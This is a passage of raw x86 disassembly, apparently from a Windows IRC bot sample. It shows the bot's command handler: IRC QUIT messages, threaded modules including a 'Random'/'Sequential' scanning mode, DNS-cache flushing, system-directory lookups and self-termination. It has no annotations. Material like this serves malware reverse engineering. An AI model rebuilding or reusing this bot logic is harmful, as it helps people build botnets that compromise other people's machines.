lea eax, [ebp+var_2C4]
push offset dword_42C354
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431800, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_431800
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431800[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4CB988 ; getsockname
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BFD0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C820
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41C360
push offset byte_43DB98
push offset aF ; "#f"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C2D4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
call dword_427080 ; Sleep
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C298
push eax
call sub_41C266
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx
lea eax, [ebp+var_2C4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C260
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C240
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403AC9
push eax
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call dword_427078 ; GetModuleFileNameA
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset byte_429110
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41C360
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B44]
push offset unk_42C20C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset sub_412197
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C1D0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403BE9
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403BE9
push edi
call sub_41C159
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+var_49F4]
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C3B1
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C194
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C158
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403D75
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_403D75
push edi
call sub_41C159
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41C360
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB98
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+var_88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C11C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset sub_41144E
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EA4
push esi
call sub_41C159
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB900
cmp eax, ebx
jz short loc_403EE8
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_403EE1
push offset unk_42C0BC
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C090
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset unk_42C064
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C040
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C014
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx
push [ebp+var_4]
push offset dword_42BFFC
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx
push [ebp+var_4]
call sub_418723
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BFE0
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFB4
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF8C
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset unk_42BF6C
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_40402E
push esi
call sub_41C159
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF54
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
push [ebp+var_4]
push offset unk_42BF34
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi
push offset aFull ; "full"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+var_2C4]
push offset dword_42BF10
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
call dword_427080 ; Sleep
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BED4
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx
push [ebp+var_4]
push offset unk_42BEBC
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA7C ; closesocket
call dword_4CB93C ; WSACleanup
call sub_4188A6
push ebx
call dword_42706C ; ExitProcess
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BEA4
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push offset unk_42BE8C
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042A7
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_2 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41C360
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C4]
push offset dword_42BE74
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset sub_415E4B
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BE3C
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415CC0
push offset unk_42BE24
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset dword_42BE20
push esi
call sub_41CA50
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+var_2C4]
push offset dword_42BE00
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset sub_40B425
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
call dword_427080 ; Sleep
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BDC4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aScortiser ; "scortiser"
push offset unk_42BDAC
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB724
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD80
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD30
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
push offset unk_42BD00
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BCF0
push offset dword_42BCE0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BCD4
push offset dword_42BCC4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045D8
push edi
call sub_41C159
test eax, eax
pop ecx
jz short loc_4045D8
push edi
call sub_41C159
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
